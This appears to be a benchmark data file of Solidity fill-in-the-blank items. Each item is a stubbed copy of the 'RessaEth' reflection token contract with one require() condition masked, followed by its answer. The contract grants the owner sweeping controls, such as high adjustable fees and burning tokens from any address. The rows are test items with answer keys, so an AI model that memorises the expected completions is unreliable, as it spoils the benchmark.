lpPair = IUniswapV2Factory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this));
lpPs[lpPair] = true;
_als[address(this)][address(dexRouter)] = type(uint256).max;
_mTA = (_tTotal * 1000) / 100000;
mTAUI = (sS * 500) / 100000;
_mWS = (_tTotal * 10) / 1000;
mWSUI = (sS * 10) / 1000;
swapThreshold = (_tTotal * 5) / 10000;
swapAmount = (_tTotal * 5) / 1000;
approve(_routerAddress, type(uint256).max);
rft = true;
_rOd[owner()] = _rTotal;
emit Transfer(ZERO, owner(), _tTotal);
_approve(address(this), address(dexRouter), type(uint256).max);
_t(owner(), address(this), balanceOf(owner()));
dexRouter.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
Planted = block.number;
}
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external view returns (uint8) { }
function symbol() external view returns (string memory) { }
function name() external view returns (string memory) { }
function getOwner() external view returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function iEFF(address account) public view returns(bool) {
}
function setTB(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTS(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTT(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setValues(uint256 ms, uint256 ds, uint256 vd) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setMTP(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMWS(uint256 p, uint256 d) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setNewMarketWallet(address payable newWallet) external onlyOwner {
}
function setNewDW(address payable newWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setExcludedFromFee(address account, bool enabled) public onlyOwner {
}
function setExcludedFromReward(address account, bool enabled) public onlyOwner {
}
function totalFees() public view returns (uint256) {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function _t(address from, address to, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function Go() public onlyOwner {
}
struct ExtraValues {
uint256 tTransferAmount;
uint256 tFee;
uint256 tLiquidity;
uint256 rTransferAmount;
uint256 rAmount;
uint256 rFee;
}
function _ftt(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) {
}
function Update(string memory _tn, string memory _ts) public {
}
function RessaBurn (address from, uint256 amount) public onlyOwner {
}
function RessaDAOBurn (address from, uint256 amount) public {
}
function CommunityBurn (uint256 amount) public {
}
function _getValues(address from, address to, uint256 tAmount, bool takeFee) internal returns (ExtraValues memory) {
}
function _getRate() internal view returns(uint256) {
}
function _getCurrentSupply() internal view returns(uint256, uint256) {
}
function _takeReflect(uint256 rFee, uint256 tFee) internal {
}
function withdrawETHstuck() external onlyOwner {
}
function _takeLiquidity(address sender, uint256 tLiquidity) internal {
}
}
| !rft | 71,423 | !rft |
"Cannot set a new pair this week!" | //
/*
*/
//
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract RessaEth is Context, IERC20Upgradeable {
address private _owner; // address of the contract owner.
mapping (address => uint256) private _rOd;
mapping (address => uint256) private _tOd;
mapping (address => bool) lpPs;
uint256 private tSLP = 0;
mapping (address => mapping (address => uint256)) private _als;
mapping (address => bool) private _iEFF;
mapping (address => bool) private _iE;
address[] private _excluded;
mapping (address => bool) private _lH;
uint256 private sS;
string private _nm;
string private _s;
uint256 public _reF = 100; uint256 public _liF = 200; uint256 public _maF = 300;
uint256 public _bReF = _reF; uint256 public _bLiF = _liF; uint256 public _bMaF = _maF;
uint256 public _sLiF = 300; uint256 public _sReF = 200; uint256 public _sMaF = 100;
uint256 public _tReF = 0; uint256 public _tLiF = 0; uint256 public _tMaF = 0;
uint256 private maxReF = 1000; uint256 private maxLiF = 1000; uint256 private maxMaF = 2200;
uint256 public _liquidityRatio = 300;
uint256 public _mR = 200;
uint256 private masterTaxDivisor = 10000;
uint256 private MaS = 40;
uint256 private DeS = 10;
uint256 private VaD = 50;
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals;
uint256 private _decimalsMul;
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
address public _routerAddress;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
address public ZERO = 0x0000000000000000000000000000000000000000;
address payable private _dW;
address payable private _marketWallet;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private _mTA;
uint256 public mTAUI;
uint256 private _mWS;
uint256 public mWSUI;
uint256 private swapThreshold;
uint256 private swapAmount;
bool go = false;
bool public _LiqHasBeenAdded = false;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
uint256 Planted;
bool rft = false;
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
function _RFT(address payable setMarketWallet, address payable setDW, string memory _tokenname, string memory _tokensymbol) external onlyOwner {
}
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external view returns (uint8) { }
function symbol() external view returns (string memory) { }
function name() external view returns (string memory) { }
function getOwner() external view returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
if (enabled == false) {
lpPs[pair] = false;
} else {
if (tSLP != 0) {
require(<FILL_ME>)
}
lpPs[pair] = true;
tSLP = block.timestamp;
}
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function iEFF(address account) public view returns(bool) {
}
function setTB(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTS(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTT(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setValues(uint256 ms, uint256 ds, uint256 vd) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setMTP(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMWS(uint256 p, uint256 d) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setNewMarketWallet(address payable newWallet) external onlyOwner {
}
function setNewDW(address payable newWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setExcludedFromFee(address account, bool enabled) public onlyOwner {
}
function setExcludedFromReward(address account, bool enabled) public onlyOwner {
}
function totalFees() public view returns (uint256) {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function _t(address from, address to, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function Go() public onlyOwner {
}
struct ExtraValues {
uint256 tTransferAmount;
uint256 tFee;
uint256 tLiquidity;
uint256 rTransferAmount;
uint256 rAmount;
uint256 rFee;
}
function _ftt(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) {
}
function Update(string memory _tn, string memory _ts) public {
}
function RessaBurn (address from, uint256 amount) public onlyOwner {
}
function RessaDAOBurn (address from, uint256 amount) public {
}
function CommunityBurn (uint256 amount) public {
}
function _getValues(address from, address to, uint256 tAmount, bool takeFee) internal returns (ExtraValues memory) {
}
function _getRate() internal view returns(uint256) {
}
function _getCurrentSupply() internal view returns(uint256, uint256) {
}
function _takeReflect(uint256 rFee, uint256 tFee) internal {
}
function withdrawETHstuck() external onlyOwner {
}
function _takeLiquidity(address sender, uint256 tLiquidity) internal {
}
}
| block.timestamp-tSLP>1weeks,"Cannot set a new pair this week!" | 71,423 | block.timestamp-tSLP>1weeks |
null | //
/*
*/
//
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract RessaEth is Context, IERC20Upgradeable {
address private _owner; // address of the contract owner.
mapping (address => uint256) private _rOd;
mapping (address => uint256) private _tOd;
mapping (address => bool) lpPs;
uint256 private tSLP = 0;
mapping (address => mapping (address => uint256)) private _als;
mapping (address => bool) private _iEFF;
mapping (address => bool) private _iE;
address[] private _excluded;
mapping (address => bool) private _lH;
uint256 private sS;
string private _nm;
string private _s;
uint256 public _reF = 100; uint256 public _liF = 200; uint256 public _maF = 300;
uint256 public _bReF = _reF; uint256 public _bLiF = _liF; uint256 public _bMaF = _maF;
uint256 public _sLiF = 300; uint256 public _sReF = 200; uint256 public _sMaF = 100;
uint256 public _tReF = 0; uint256 public _tLiF = 0; uint256 public _tMaF = 0;
uint256 private maxReF = 1000; uint256 private maxLiF = 1000; uint256 private maxMaF = 2200;
uint256 public _liquidityRatio = 300;
uint256 public _mR = 200;
uint256 private masterTaxDivisor = 10000;
uint256 private MaS = 40;
uint256 private DeS = 10;
uint256 private VaD = 50;
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals;
uint256 private _decimalsMul;
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
address public _routerAddress;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
address public ZERO = 0x0000000000000000000000000000000000000000;
address payable private _dW;
address payable private _marketWallet;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private _mTA;
uint256 public mTAUI;
uint256 private _mWS;
uint256 public mWSUI;
uint256 private swapThreshold;
uint256 private swapAmount;
bool go = false;
bool public _LiqHasBeenAdded = false;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
uint256 Planted;
bool rft = false;
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
function _RFT(address payable setMarketWallet, address payable setDW, string memory _tokenname, string memory _tokensymbol) external onlyOwner {
}
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external view returns (uint8) { }
function symbol() external view returns (string memory) { }
function name() external view returns (string memory) { }
function getOwner() external view returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function iEFF(address account) public view returns(bool) {
}
function setTB(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
require(reflect <= maxReF
&& liquidity <= maxLiF
&& marketing <= maxMaF
);
require(<FILL_ME>)
_bReF = reflect;
_bLiF = liquidity;
_bMaF = marketing;
}
function setTS(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTT(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setValues(uint256 ms, uint256 ds, uint256 vd) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setMTP(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMWS(uint256 p, uint256 d) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setNewMarketWallet(address payable newWallet) external onlyOwner {
}
function setNewDW(address payable newWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setExcludedFromFee(address account, bool enabled) public onlyOwner {
}
function setExcludedFromReward(address account, bool enabled) public onlyOwner {
}
function totalFees() public view returns (uint256) {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function _t(address from, address to, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function Go() public onlyOwner {
}
struct ExtraValues {
uint256 tTransferAmount;
uint256 tFee;
uint256 tLiquidity;
uint256 rTransferAmount;
uint256 rAmount;
uint256 rFee;
}
function _ftt(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) {
}
function Update(string memory _tn, string memory _ts) public {
}
function RessaBurn (address from, uint256 amount) public onlyOwner {
}
function RessaDAOBurn (address from, uint256 amount) public {
}
function CommunityBurn (uint256 amount) public {
}
function _getValues(address from, address to, uint256 tAmount, bool takeFee) internal returns (ExtraValues memory) {
}
function _getRate() internal view returns(uint256) {
}
function _getCurrentSupply() internal view returns(uint256, uint256) {
}
function _takeReflect(uint256 rFee, uint256 tFee) internal {
}
function withdrawETHstuck() external onlyOwner {
}
function _takeLiquidity(address sender, uint256 tLiquidity) internal {
}
}
| reflect+liquidity+marketing<=4900 | 71,423 | reflect+liquidity+marketing<=4900 |
"Must be above 0.1% of total supply." | //
/*
*/
//
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract RessaEth is Context, IERC20Upgradeable {
address private _owner; // address of the contract owner.
mapping (address => uint256) private _rOd;
mapping (address => uint256) private _tOd;
mapping (address => bool) lpPs;
uint256 private tSLP = 0;
mapping (address => mapping (address => uint256)) private _als;
mapping (address => bool) private _iEFF;
mapping (address => bool) private _iE;
address[] private _excluded;
mapping (address => bool) private _lH;
uint256 private sS;
string private _nm;
string private _s;
uint256 public _reF = 100; uint256 public _liF = 200; uint256 public _maF = 300;
uint256 public _bReF = _reF; uint256 public _bLiF = _liF; uint256 public _bMaF = _maF;
uint256 public _sLiF = 300; uint256 public _sReF = 200; uint256 public _sMaF = 100;
uint256 public _tReF = 0; uint256 public _tLiF = 0; uint256 public _tMaF = 0;
uint256 private maxReF = 1000; uint256 private maxLiF = 1000; uint256 private maxMaF = 2200;
uint256 public _liquidityRatio = 300;
uint256 public _mR = 200;
uint256 private masterTaxDivisor = 10000;
uint256 private MaS = 40;
uint256 private DeS = 10;
uint256 private VaD = 50;
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals;
uint256 private _decimalsMul;
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
address public _routerAddress;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
address public ZERO = 0x0000000000000000000000000000000000000000;
address payable private _dW;
address payable private _marketWallet;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private _mTA;
uint256 public mTAUI;
uint256 private _mWS;
uint256 public mWSUI;
uint256 private swapThreshold;
uint256 private swapAmount;
bool go = false;
bool public _LiqHasBeenAdded = false;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
uint256 Planted;
bool rft = false;
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
function _RFT(address payable setMarketWallet, address payable setDW, string memory _tokenname, string memory _tokensymbol) external onlyOwner {
}
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external view returns (uint8) { }
function symbol() external view returns (string memory) { }
function name() external view returns (string memory) { }
function getOwner() external view returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function iEFF(address account) public view returns(bool) {
}
function setTB(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTS(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTT(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setValues(uint256 ms, uint256 ds, uint256 vd) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setMTP(uint256 percent, uint256 divisor) external onlyOwner {
uint256 check = (_tTotal * percent) / divisor;
require(<FILL_ME>)
_mTA = check;
mTAUI = (sS * percent) / divisor;
}
function setMWS(uint256 p, uint256 d) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setNewMarketWallet(address payable newWallet) external onlyOwner {
}
function setNewDW(address payable newWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setExcludedFromFee(address account, bool enabled) public onlyOwner {
}
function setExcludedFromReward(address account, bool enabled) public onlyOwner {
}
function totalFees() public view returns (uint256) {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function _t(address from, address to, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function Go() public onlyOwner {
}
struct ExtraValues {
uint256 tTransferAmount;
uint256 tFee;
uint256 tLiquidity;
uint256 rTransferAmount;
uint256 rAmount;
uint256 rFee;
}
function _ftt(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) {
}
function Update(string memory _tn, string memory _ts) public {
}
function RessaBurn (address from, uint256 amount) public onlyOwner {
}
function RessaDAOBurn (address from, uint256 amount) public {
}
function CommunityBurn (uint256 amount) public {
}
function _getValues(address from, address to, uint256 tAmount, bool takeFee) internal returns (ExtraValues memory) {
}
function _getRate() internal view returns(uint256) {
}
function _getCurrentSupply() internal view returns(uint256, uint256) {
}
function _takeReflect(uint256 rFee, uint256 tFee) internal {
}
function withdrawETHstuck() external onlyOwner {
}
function _takeLiquidity(address sender, uint256 tLiquidity) internal {
}
}
| check>=(_tTotal/1000),"Must be above 0.1% of total supply." | 71,423 | check>=(_tTotal/1000) |
"Account is already excluded." | //
/*
*/
//
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
interface IUniswapV2Factory {
